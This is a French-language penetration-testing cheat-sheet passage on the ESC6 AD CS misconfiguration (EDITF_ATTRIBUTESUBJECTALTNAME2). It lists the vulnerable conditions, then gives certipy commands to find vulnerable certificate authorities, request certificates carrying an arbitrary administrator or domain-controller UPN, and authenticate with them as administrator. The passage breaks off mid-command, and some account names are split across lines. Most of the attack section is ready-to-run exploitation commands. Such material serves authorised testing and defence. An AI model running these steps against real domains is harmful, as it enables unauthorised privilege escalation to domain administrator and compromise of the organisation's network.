### Description
ESC6 exploite la vulnérabilité `EDITF_ATTRIBUTESUBJECTALTNAME2` dans la configuration de l'autorité de certification, permettant à un utilisateur de spécifier un Subject Alternative Name (SAN) arbitraire dans n'importe quelle demande de certificat, même si le modèle ne l'autorise normalement pas.
### Conditions vulnérables
Une CA est vulnérable à ESC6 si :
1. **Flag EDITF_ATTRIBUTESUBJECTALTNAME2 activé** - La CA est configurée avec ce flag (valeur 0x40000)
2. **Template avec authentification** - Un modèle permet l'authentification (`Client Authentication` ou `Smart Card Logon`)
3. **Enrollment autorisé** - L'utilisateur a les droits `Enroll` sur le modèle
4. **Pas de protection Manager Approval** - Le modèle n'exige pas d'approbation manuelle
---
### Exploitation depuis linux (certipy)
Enumération des CAs vulnérables :
```bash
certipy find -u
[email protected] -p password -target dc01.domain.local
# Énumération avec sortie JSON pour analyse des configurations CA
certipy find -u
[email protected] -p password -target dc01.domain.local -json -output ca_config.json
# Recherche spécifique du flag EDITF_ATTRIBUTESUBJECTALTNAME2
certipy find -u
[email protected] -p password -target dc01.domain.local -vulnerable | grep -A5 -B5 "EDITF_ATTRIBUTESUBJECTALTNAME2"
```
Exploitation avec SAN arbitraire :
```bash
# Demande d'un certificat avec SAN administrateur sur un template standard
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'User' -upn
[email protected]
# Avec un template Workstation/Computer
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'Machine' -upn '
[email protected]'
```
Authentification avec le certificat obtenu :
```bash
# Authentification en tant qu'administrateur
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip 192.168.1.10
# Authentification en tant que compte machine
certipy auth -pfx 'dc01$.pfx' -username 'DC01